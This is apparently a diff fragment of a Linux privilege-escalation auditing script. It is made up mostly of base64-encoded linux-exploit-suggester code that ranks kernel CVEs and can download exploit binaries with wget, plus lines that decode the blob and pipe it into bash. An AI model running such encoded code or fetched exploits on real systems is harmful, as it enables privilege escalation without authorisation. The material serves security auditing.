Rfa2VybmVsX29ubHkiID0gInRydWUiIC1vIC16ICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHVuc2V0IEVYUExPSVRTX1VTRVJTUEFDRQogICAgZGVjbGFyZSAtQSBFWFBMT0lUU19VU0VSU1BBQ0UKZmkKCmlmIFsgIiRvcHRfdXNlcnNwYWNlX29ubHkiID0gInRydWUiIF07IHRoZW4KICAgIHVuc2V0IEVYUExPSVRTCiAgICBkZWNsYXJlIC1BIEVYUExPSVRTCmZpCgplY2hvCmVjaG8gLWUgIiR7Ymxkd2h0fVNlYXJjaGluZyBhbW9uZzoke3R4dHJzdH0iCmVjaG8KZWNobyAiJHsjRVhQTE9JVFNbQF19IGtlcm5lbCBzcGFjZSBleHBsb2l0cyIKZWNobyAiJHsjRVhQTE9JVFNfVVNFUlNQQUNFW0BdfSB1c2VyIHNwYWNlIGV4cGxvaXRzIgplY2hvCgplY2hvIC1lICIke2JsZHdodH1Qb3NzaWJsZSBFeHBsb2l0czoke3R4dHJzdH0iCmVjaG8KCiMgc3RhcnQgYW5hbHlzaXMKaj0wCmZvciBFWFAgaW4gIiR7RVhQTE9JVFNbQF19IiAiJHtFWFBMT0lUU19VU0VSU1BBQ0VbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRFWFAiCgogICAgTkFNRT0iJHthcnJbMF19IiAmJiBOQU1FPSIke05BTUU6Nn0iCiAgICBSRVFTPSIke2FyclsxXX0iICYmIFJFUVM9IiR7UkVRUzo2fSIKICAgIFRBR1M9IiR7YXJyWzJdfSIgJiYgVEFHUz0iJHtUQUdTOjZ9IgogICAgUkFOSz0iJHthcnJbM119IiAmJiBSQU5LPSIke1JBTks6Nn0iCgogICAgIyBzcGxpdCBsaW5lIHdpdGggcmVxdWlyZW1lbnRzICYgbG9vcCB0aHJ1IGFsbCByZXFzIG9uZSBieSBvbmUgJiBjaGVjayB3aGV0aGVyIGl0IGlzIG1ldAogICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJFJFUVMiCiAgICBSRVFTX05VTT0keyNhcnJheVtAXX0KICAgIFBBU1NFRF9SRVE9MAogICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIiAiJHthcnJheVswXX0iKTsgdGhlbgogICAgICAgICAgICBQQVNTRURfUkVRPSQoKCRQQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBleGVjdXRlIGZvciBleHBsb2l0cyB3aXRoIGFsbCByZXF1aXJlbWVudHMgbWV0CiAgICBpZiBbICRQQVNTRURfUkVRIC1lcSAkUkVRU19OVU0gXTsgdGhlbgoKICAgICAgICAjIGFkZGl0aW9uYWwgcmVxdWlyZW1lbnQgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGU6IGNoZWNrIGlmIENWRSBhc3NvY2lhdGVkIHdpdGggdGhlIGV4cGxvaXQgaXMgb24gdGhlIENWRUxJU1RfRklMRQogICAgICAgIGlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgICAgICAgICAjIGV4dHJhY3QgQ1ZFKHMpIGFzc29jaWF0ZWQgd2l0aCBnaXZlbiBleHBsb2l0IChhbHNvIHRyYW5zbGF0ZXMgJywnIHRvICd8JyBmb3IgZWFzeSBoYW5kbGluZyBtdWx0aXBsZSBDVkVzIGNhc2UgLSB2aWEgZXh0ZW5kZWQgcmVnZXgpCiAgICAgICAgICAgIGN2ZT0kKGVjaG8gIiROQU1FIiB8IGdyZXAgJy4qXFsuKlxdLionIHwgY3V0IC1kICdtJyAtZjIgfCBjdXQgLWQgJ10nIC1mMSB8IHRyIC1kICdbJyB8IHRyICIsIiAifCIpCiAgICAgICAgICAgICNlY2hvICJDVkU6ICRjdmUiCgogICAgICAgICAgICAjIGNoZWNrIGlmIGl0J3Mgb24gQ1ZFTElTVF9GSUxFIGxpc3QsIGlmIG5vIG1vdmUgdG8gbmV4dCBleHBsb2l0CiAgICAgICAgICAgIFsgISAkKGNhdCAiJENWRUxJU1RfRklMRSIgfCBncmVwIC1FICIkY3ZlIikgXSAmJiBjb250aW51ZQogICAgICAgIGZpCgogICAgICAgICMgcHJvY2VzcyB0YWdzIGFuZCBoaWdobGlnaHQgdGhvc2UgdGhhdCBtYXRjaCBjdXJyZW50IE9TIChvbmx5IGZvciBkZWJ8dWJ1bnR1fFJIRUwgYW5kIGlmIHdlIGtub3cgZGlzdHJvIHZlcnNpb24gLSBkaXJlY3QgbW9kZSkKICAgICAgICB0YWdzPSIiCiAgICAgICAgaWYgWyAtbiAiJFRBR1MiIC1hIC1uICIkT1MiIF07IHRoZW4KICAgICAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIHRhZ3NfYXJyYXkgPDw8ICIkVEFHUyIKICAgICAgICAgICAgVEFHU19OVU09JHsjdGFnc19hcnJheVtAXX0KCiAgICAgICAgICAgICMgYnVtcCBSQU5LIHNsaWdodGx5ICgrMSkgaWYgd2UncmUgaW4gJy0tdW5hbWUnIG1vZGUgYW5kIHRoZXJlJ3MgYSBUQUcgZm9yIE9TIGZyb20gdW5hbWUgc3RyaW5nCiAgICAgICAgICAgIFsgIiQoZWNobyAiJHt0YWdzX2FycmF5W0BdfSIgfCBncmVwICIkT1MiKSIgLWEgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAidHJ1ZSIgXSAmJiBSQU5LPSQoKCRSQU5LICsgMSkpCgogICAgICAgICAgICBmb3IgVEFHIGluICIke3RhZ3NfYXJyYXlbQF19IjsgZG8KICAgICAgICAgICAgICAgIHRhZ19kaXN0cm89JChlY2hvICIkVEFHIiB8IGN1dCAtZCc9JyAtZjEpCiAgICAgICAgICAgICAgICB0YWdfZGlzdHJvX251bV9hbGw9JChlY2hvICIkVEFHIiB8IGN1dCAtZCc9JyAtZjIpCiAgICAgICAgICAgICAgICAjIGluIGNhc2Ugb2YgdGFnIG9mIGZvcm06ICd1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxfSByZW1vdmUga2VybmVsIHZlcnNpb25pbmcgcGFydCBmb3IgY29tcGFyaXNpb24KICAgICAgICAgICAgICAgIHRhZ19kaXN0cm9fbnVtPSIke3RhZ19kaXN0cm9fbnVtX2FsbCV7Kn0iCgogICAgICAgICAgICAgICAgIyB3ZSdyZSBpbiAnLS11bmFtZScgbW9kZSBPUiAoZm9yIG5vcm1hbCBtb2RlKSBpZiB0aGVyZSBpcyBkaXN0cm8gdmVyc2lvbiBtYXRjaAogICAgICAgICAgICAgICAgaWYgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJ0cnVlIiAtbyBcKCAiJE9TIiA9PSAiJHRhZ19kaXN0cm8iIC1hICIkKGVjaG8gIiRESVNUUk8iIHwgZ3JlcCAtRSAiJHRhZ19kaXN0cm9fbnVtIikiIFwpIF07IHRoZW4KCiAgICAgICAgICAgICAgICAgICAgIyBidW1wIGN1cnJlbnQgZXhwbG9pdCdzIHJhbmsgYnkgMiBmb3IgZGlzdHJvIG1hdGNoIChhbmQgbm90IGluICctLXVuYW1lJyBtb2RlKQogICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgUkFOSz0kKCgkUkFOSyArIDIpKQoKICAgICAgICAgICAgICAgICAgICAjIGdldCBuYW1lIChrZXJuZWwgb3IgcGFja2FnZSBuYW1lKSBhbmQgdmVyc2lvbiBvZiBrZXJuZWwvcGtnIGlmIHByb3ZpZGVkOgogICAgICAgICAgICAgICAgICAgIHRhZ19wa2c9JChlY2hvICIkdGFnX2Rpc3Ryb19udW1fYWxsIiB8IGN1dCAtZCd7JyAtZiAyIHwgdHIgLWQgJ30nIHwgY3V0IC1kJzonIC1mIDEpCiAgICAgICAgICAgICAgICAgICAgdGFnX3BrZ19udW09IiIKICAgICAgICAgICAgICAgICAgICBbICQoZWNobyAiJHRhZ19kaXN0cm9fbnVtX2FsbCIgfCBncmVwICd7JykgXSAmJiB0YWdfcGtnX251bT0kKGVjaG8gIiR0YWdfZGlzdHJvX251bV9hbGwiIHwgY3V0IC1kJ3snIC1mIDIgfCB0ciAtZCAnfScgfCBjdXQgLWQnOicgLWYgMikKCiAgICAgICAgICAgICAgICAgICAgI1sgLW4gIiR0YWdfcGtnX251bSIgXSAmJiBlY2hvICJ0YWdfcGtnX251bTogJHRhZ19wa2dfbnVtOyBrZXJuZWw6ICRLRVJORUxfQUxMIgoKICAgICAgICAgICAgICAgICAgICAjIGlmIHBrZy9rZXJuZWwgdmVyc2lvbiBpcyBub3QgcHJvdmlkZWQ6CiAgICAgICAgICAgICAgICAgICAgaWYgWyAteiAiJHRhZ19wa2dfbnVtIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgVEFHPSIke2xpZ2h0eWVsbG93fVsgJHtUQUd9IF0ke3R4dHJzdH0iCgogICAgICAgICAgICAgICAgICAgICMga2VybmVsIHZlcnNpb24gcHJvdmlkZWQsIGNoZWNrIGZvciBtYXRjaDoKICAgICAgICAgICAgICAgICAgICBlbGlmIFsgLW4gIiR0YWdfcGtnX251bSIgLWEgIiR0YWdfcGtnIiA9ICJrZXJuZWwiIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgaWYgWyAkKGVjaG8gIiRLRVJORUxfQUxMIiB8IGdyZXAgLUUgIiR7dGFnX3BrZ19udW19IikgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBrZXJuZWwgdmVyc2lvbiBtYXRjaGVkIC0gYm9sZCBoaWdobGlnaHQKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRBRz0iJHt5ZWxsb3d9WyAke1RBR30gXSR7dHh0cnN0fSIKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIGJ1bXAgY3VycmVudCBleHBsb2l0J3MgcmFuayBhZGRpdGlvbmFsbHkgYnkgMyBmb3Iga2VybmVsIHZlcnNpb24gcmVnZXggbWF0Y2gKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJBTks9JCgoJFJBTksgKyAzKSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBUQUc9IiR7bGlnaHR5ZWxsb3d9WyAkdGFnX2Rpc3Rybz0kdGFnX2Rpc3Ryb19udW0gXSR7dHh0cnN0fXtrZXJuZWw6JHRhZ19wa2dfbnVtfSIKICAgICAgICAgICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICAgICAgIyBwa2cgdmVyc2lvbiBwcm92aWRlZCwgY2hlY2sgZm9yIG1hdGNoIChUQkQpOgogICAgICAgICAgICAgICAgICAgIGVsaWYgWyAtbiAiJHRhZ19wa2dfbnVtIiAtYSAtbiAiJHRhZ19wa2ciICBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIFRBRz0iJHtsaWdodHllbGxvd31bICR0YWdfZGlzdHJvPSR0YWdfZGlzdHJvX251bSBdJHt0eHRyc3R9eyR0YWdfcGtnOiR0YWdfcGtnX251bX0iCiAgICAgICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgICMgYXBwZW5kIGN1cnJlbnQgdGFnIHRvIHRhZ3MgbGlzdAogICAgICAgICAgICAgICAgdGFncz0iJHt0YWdzfSR7VEFHfSwiCiAgICAgICAgICAgIGRvbmUKICAgICAgICAgICAgIyB0cmltICcsJyBhZGRlZCBieSBhYm92ZSBsb29wCiAgICAgICAgICAgIFsgLW4gIiR0YWdzIiBdICYmIHRhZ3M9IiR7dGFncyU/fSIKICAgICAgICBlbHNlCiAgICAgICAgICAgIHRhZ3M9IiRUQUdTIgogICAgICAgIGZpCgogICAgICAgICMgaW5zZXJ0IHRoZSBtYXRjaGVkIGV4cGxvaXQgKHdpdGggY2FsY3VsYXRlZCBSYW5rIGFuZCBoaWdobGlnaHRlZCB0YWdzKSB0byBhcnJhcnkgdGhhdCB3aWxsIGJlIHNvcnRlZAogICAgICAgIEVYUD0kKGVjaG8gIiRFWFAiIHwgc2VkIC1lICcvXk5hbWU6L2QnIC1lICcvXlJlcXM6L2QnIC1lICcvXlRhZ3M6L2QnKQogICAgICAgIGV4cGxvaXRzX3RvX3NvcnRbal09IiR7UkFOS31OYW1lOiAke05BTUV9RDNMMW1SZXFzOiAke1JFUVN9RDNMMW1UYWdzOiAke3RhZ3N9RDNMMW0kKGVjaG8gIiRFWFAiIHwgc2VkIC1lICc6YScgLWUgJ04nIC1lICckIWJhJyAtZSAncy9cbi9EM0wxbS9nJykiCiAgICAgICAgKChqKyspKQogICAgZmkKZG9uZQoKIyBzb3J0IGV4cGxvaXRzIGJhc2VkIG9uIGNhbGN1bGF0ZWQgUmFuawpJRlM9JCdcbicKU09SVEVEX0VYUExPSVRTPSgkKHNvcnQgLXIgPDw8IiR7ZXhwbG9pdHNfdG9fc29ydFsqXX0iKSkKdW5zZXQgSUZTCgojIGRpc3BsYXkgc29ydGVkIGV4cGxvaXRzCmZvciBFWFBfVEVNUCBpbiAiJHtTT1JURURfRVhQTE9JVFNbQF19IjsgZG8KCglSQU5LPSQoZWNobyAiJEVYUF9URU1QIiB8IGF3ayAtRidOYW1lOicgJ3twcmludCAkMX0nKQoKCSMgY29udmVydCBlbnRyeSBiYWNrIHRvIGNhbm9uaWNhbCBmb3JtCglFWFA9JChlY2hvICIkRVhQX1RFTVAiIHwgc2VkICdzL15bMC05XS8vZycgfCBzZWQgJ3MvRDNMMW0vXG4vZycpCgoJIyBjcmVhdGUgYXJyYXkgZnJvbSBjdXJyZW50IGV4cGxvaXQgaGVyZSBkb2MgYW5kIGZldGNoIG5lZWRlZCBsaW5lcwogICAgaT0wCiAgICAjICgnLXInIGlzIHVzZWQgdG8gbm90IGludGVycHJldCBiYWNrc2xhc2ggdXNlZCBmb3IgYmFzaCBjb2xvcnMpCiAgICB3aGlsZSByZWFkIC1yIGxpbmUKICAgIGRvCiAgICAgICAgYXJyW2ldPSIkbGluZSIKICAgICAgICBpPSQoKGkgKyAxKSkKICAgIGRvbmUgPDw8ICIkRVhQIgoKICAgIE5BTUU9IiR7YXJyWzBdfSIgJiYgTkFNRT0iJHtOQU1FOjZ9IgogICAgUkVRUz0iJHthcnJbMV19IiAmJiBSRVFTPSIke1JFUVM6Nn0iCiAgICBUQUdTPSIke2FyclsyXX0iICYmIHRhZ3M9IiR7VEFHUzo2fSIKCglFWFBMT0lUX0RCPSQoZWNobyAiJEVYUCIgfCBncmVwICJleHBsb2l0LWRiOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWFuYWx5c2lzX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYW5hbHlzaXMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWV4dF91cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgImV4dC11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJY29tbWVudHM9JChlY2hvICIkRVhQIiB8IGdyZXAgIkNvbW1lbnRzOiAiIHwgY3V0IC1kJyAnIC1mIDItKQoJcmVxcz0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiUmVxczogIiB8IGN1dCAtZCcgJyAtZiAyKQoKCSMgZXhwbG9pdCBuYW1lIHdpdGhvdXQgQ1ZFIG51bWJlciBhbmQgd2l0aG91dCBjb21tb25seSB1c2VkIHNwZWNpYWwgY2hhcnMKCW5hbWU9JChlY2hvICIkTkFNRSIgfCBjdXQgLWQnICcgLWYgMi0gfCB0ciAtZCAnICgpLycpCgoJYmluX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYmluLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCglzcmNfdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJzcmMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCVsgLXogIiRzcmNfdXJsIiBdICYmIFsgLW4gIiRFWFBMT0lUX0RCIiBdICYmIHNyY191cmw9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLyRFWFBMT0lUX0RCIgoJWyAteiAiJHNyY191cmwiIF0gJiYgWyAteiAiJGJpbl91cmwiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIidzcmMtdXJsJyAvICdiaW4tdXJsJyAvICdleHBsb2l0LWRiJyBlbnRyaWVzIGFyZSBhbGwgZW1wdHkgZm9yICckTkFNRScgZXhwbG9pdCAtIGZpeCB0aGF0LiBBYm9ydGluZy4iCgoJaWYgWyAtbiAiJGFuYWx5c2lzX3VybCIgXTsgdGhlbgogICAgICAgIGRldGFpbHM9IiRhbmFseXNpc191cmwiCgllbGlmICQoZWNobyAiJHNyY191cmwiIHwgZ3JlcCAtcSAnd3d3LmV4cGxvaXQtZGIuY29tJyk7IHRoZW4KICAgICAgICBkZXRhaWxzPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8kRVhQTE9JVF9EQi8iCgllbGlmIFtbICIkc3JjX3VybCIgPX4gXi4qdGd6fHRhci5nenx6aXAkICYmIC1uICIkRVhQTE9JVF9EQiIgXV07IHRoZW4KICAgICAgICBkZXRhaWxzPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8kRVhQTE9JVF9EQi8iCgllbHNlCiAgICAgICAgZGV0YWlscz0iJHNyY191cmwiCglmaQoKCSMgc2tpcCBEb1MgYnkgZGVmYXVsdAoJZG9zPSQoZWNobyAiJEVYUCIgfCBncmVwIC1vIC1pICIoZG9zIikKCVsgIiRvcHRfc2hvd19kb3MiID09ICJmYWxzZSIgXSAmJiBbIC1uICIkZG9zIiBdICYmIGNvbnRpbnVlCgoJIyBoYW5kbGVzIC0tZmV0Y2gtYmluYXJpZXMgb3B0aW9uCglpZiBbICRvcHRfZmV0Y2hfYmlucyA9ICJ0cnVlIiBdOyB0aGVuCiAgICAgICAgZm9yIGkgaW4gJChlY2hvICIkRVhQIiB8IGdyZXAgImJpbi11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICAgICAgICAgICAgWyAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIgXSAmJiBybSAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIKICAgICAgICAgICAgd2dldCAtcSAtayAiJGkiIC1PICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIgogICAgICAgIGRvbmUKICAgIGZpCgoJIyBoYW5kbGVzIC0tZmV0Y2gtc291cmNlcyBvcHRpb24KCWlmIFsgJG9wdF9mZXRjaF9zcmNzID0gInRydWUiIF07IHRoZW4KICAgICAgICBbIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIiBdICYmIHJtIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIgogICAgICAgIHdnZXQgLXEgLWsgIiRzcmNfdXJsIiAtTyAiJHtuYW1lfV8kKGJhc2VuYW1lICRzcmNfdXJsKSIgJgogICAgZmkKCiAgICAjIGRpc3BsYXkgcmVzdWx0IChzaG9ydCkKCWlmIFsgIiRvcHRfc3VtbWFyeSIgPSAidHJ1ZSIgXTsgdGhlbgoJWyAteiAiJHRhZ3MiIF0gJiYgdGFncz0iLSIKCWVjaG8gLWUgIiROQU1FIHx8ICR0YWdzIHx8ICRzcmNfdXJsIgoJY29udGludWUKCWZpCgojIGRpc3BsYXkgcmVzdWx0IChzdGFuZGFyZCkKCWVjaG8gLWUgIlsrXSAkTkFNRSIKCWVjaG8gLWUgIlxuICAgRGV0YWlsczogJGRldGFpbHMiCiAgICAgICAgZWNobyAtZSAiICAgRXhwb3N1cmU6ICQoZGlzcGxheUV4cG9zdXJlICRSQU5LKSIKICAgICAgICBbIC1uICIkdGFncyIgXSAmJiBlY2hvIC1lICIgICBUYWdzOiAkdGFncyIKICAgICAgICBlY2hvIC1lICIgICBEb3dubG9hZCBVUkw6ICRzcmNfdXJsIgogICAgICAgIFsgLW4gIiRleHRfdXJsIiBdICYmIGVjaG8gLWUgIiAgIGV4dC11cmw6ICRleHRfdXJsIgogICAgICAgIFsgLW4gIiRjb21tZW50cyIgXSAmJiBlY2hvIC1lICIgICBDb21tZW50czogJGNvbW1lbnRzIgoKICAgICAgICAjIGhhbmRsZXMgLS1mdWxsIGZpbHRlciBvcHRpb24KICAgICAgICBpZiBbICIkb3B0X2Z1bGwiID0gInRydWUiIF07IHRoZW4KICAgICAgICAgICAgWyAtbiAiJHJlcXMiIF0gJiYgZWNobyAtZSAiICAgUmVxdWlyZW1lbnRzOiAkcmVxcyIKCiAgICAgICAgICAgIFsgLW4gIiRFWFBMT0lUX0RCIiBdICYmIGVjaG8gLWUgIiAgIGV4cGxvaXQtZGI6ICRFWFBMT0lUX0RCIgoKICAgICAgICAgICAgYXV0aG9yPSQoZWNobyAiJEVYUCIgfCBncmVwICJhdXRob3I6ICIgfCBjdXQgLWQnICcgLWYgMi0pCiAgICAgICAgICAgIFsgLW4gIiRhdXRob3IiIF0gJiYgZWNobyAtZSAiICAgYXV0aG9yOiAkYXV0aG9yIgogICAgICAgIGZpCgogICAgICAgIGVjaG8KCmRvbmUK" - if [ "$EXTRA_CHECKS" ]; then - echo $les_b64 | base64 -d | bash -s -- --checksec | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | sed -E "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g" - else - echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\],*,${SED_RED},g" - fi + les_b64="IyEvYmluL2Jhc2gKCiMKIyBDb3B5cmlnaHQgKGMpIDIwMTYtMjAyMiwgQF9temV0XwojCiMgbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggY29tZXMgd2l0aCBBQlNPTFVURUxZIE5PIFdBUlJBTlRZLgojIFRoaXMgaXMgZnJlZSBzb2Z0d2FyZSwgYW5kIHlvdSBhcmUgd2VsY29tZSB0byByZWRpc3RyaWJ1dGUgaXQKIyB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlLiBTZWUgTElDRU5TRQojIGZpbGUgZm9yIHVzYWdlIG9mIHRoaXMgc29mdHdhcmUuCiMKClZFUlNJT049djEuMQoKIyBiYXNoIGNvbG9ycwojdHh0cmVkPSJcZVswOzMxbSIKdHh0cmVkPSJcZVs5MTsxbSIKdHh0Z3JuPSJcZVsxOzMybSIKdHh0Z3JheT0iXGVbMDszN20iCnR4dGJsdT0iXGVbMDszNm0iCnR4dHJzdD0iXGVbMG0iCmJsZHdodD0nXGVbMTszN20nCndodD0nXGVbMDszNm0nCmJsZGJsdT0nXGVbMTszNG0nCnllbGxvdz0nXGVbMTs5M20nCmxpZ2h0eWVsbG93PSdcZVswOzkzbScKCiMgaW5wdXQgZGF0YQpVTkFNRV9BPSIiCgojIHBhcnNlZCBkYXRhIGZvciBjdXJyZW50IE9TCktFUk5FTD0iIgpPUz0iIgpESVNUUk89IiIKQVJDSD0iIgpQS0dfTElTVD0iIgoKIyBrZXJuZWwgY29uZmlnCktDT05GSUc9IiIKCkNWRUxJU1RfRklMRT0iIgoKb3B0X2ZldGNoX2JpbnM9ZmFsc2UKb3B0X2ZldGNoX3NyY3M9ZmFsc2UKb3B0X2tlcm5lbF92ZXJzaW9uPWZhbHNlCm9wdF91bmFtZV9zdHJpbmc9ZmFsc2UKb3B0X3BrZ2xpc3RfZmlsZT1mYWxzZQpvcHRfY3ZlbGlzdF9maWxlPWZhbHNlCm9wdF9jaGVja3NlY19tb2RlPWZhbHNlCm9wdF9mdWxsPWZhbHNlCm9wdF9zdW1tYXJ5PWZhbHNlCm9wdF9rZXJuZWxfb25seT1mYWxzZQpvcHRfdXNlcnNwYWNlX29ubHk9ZmFsc2UKb3B0X3Nob3dfZG9zPWZhbHNlCm9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCm9wdF9za2lwX3BrZ192ZXJzaW9ucz1mYWxzZQoKQVJHUz0KU0hPUlRPUFRTPSJoVmZic3U6azpkcDpnIgpMT05HT1BUUz0iaGVscCx2ZXJzaW9uLGZ1bGwsZmV0Y2gtYmluYXJpZXMsZmV0Y2gtc291cmNlcyx1bmFtZTosa2VybmVsOixzaG93LWRvcyxwa2dsaXN0LWZpbGU6LHNob3J0LGtlcm5lbHNwYWNlLW9ubHksdXNlcnNwYWNlLW9ubHksc2tpcC1tb3JlLWNoZWNrcyxza2lwLXBrZy12ZXJzaW9ucyxjdmVsaXN0LWZpbGU6LGNoZWNrc2VjIgoKIyMgZXhwbG9pdHMgZGF0YWJhc2UKZGVjbGFyZSAtYSBFWFBMT0lUUwpkZWNsYXJlIC1hIEVYUExPSVRTX1VTRVJTUEFDRQoKIyMgdGVtcG9yYXJ5IGFycmF5IGZvciBwdXJwb3NlIG9mIHNvcnRpbmcgZXhwbG9pdHMgKGJhc2VkIG9uIGV4cGxvaXRzJyByYW5rKQpkZWNsYXJlIC1hIGV4cGxvaXRzX3RvX3NvcnQKZGVjbGFyZSAtYSBTT1JURURfRVhQTE9JVFMKCiMjIyMjIyMjIyMjIyBMSU5VWCBLRVJORUxTUEFDRSBFWFBMT0lUUyAjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBlbGZsYmwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI9Mi40LjI5ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vaXNlYy5wbC92dWxuZXJhYmlsaXRpZXMvaXNlYy0wMDIxLXVzZWxpYi50eHQKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTExMTAzMDQyOTA0L2h0dHA6Ly90YXJhbnR1bGEuYnkucnUvbG9jYWxyb290LzIuNi54L2VsZmxibApleHBsb2l0LWRiOiA3NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSB1c2VsaWIoKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj0yLjQuMjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9pc2VjLnBsL3Z1bG5lcmFiaWxpdGllcy9pc2VjLTAwMjEtdXNlbGliLnR4dApleHBsb2l0LWRiOiA3NzgKQ29tbWVudHM6IEtub3duIHRvIHdvcmsgb25seSBmb3IgMi40IHNlcmllcyAoZXZlbiB0aG91Z2ggMi42IGlzIGFsc28gdnVsbmVyYWJsZSkKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0xMjM1XSR7dHh0cnN0fSBrcmFkMwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjUsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAxMzk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDQtMDA3N10ke3R4dHJzdH0gbXJlbWFwX3B0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE2MApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHJhcHRvcl9wcmN0bApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjEzLHZlcjw9Mi42LjE3ClRhZ3M6ClJhbms6IDEKZXhwbG9pdC1kYjogMjAzMQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA2LTI0NTFdJHt0eHRyc3R9IHByY3RsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTMsdmVyPD0yLjYuMTcKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiAyMDA0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDYtM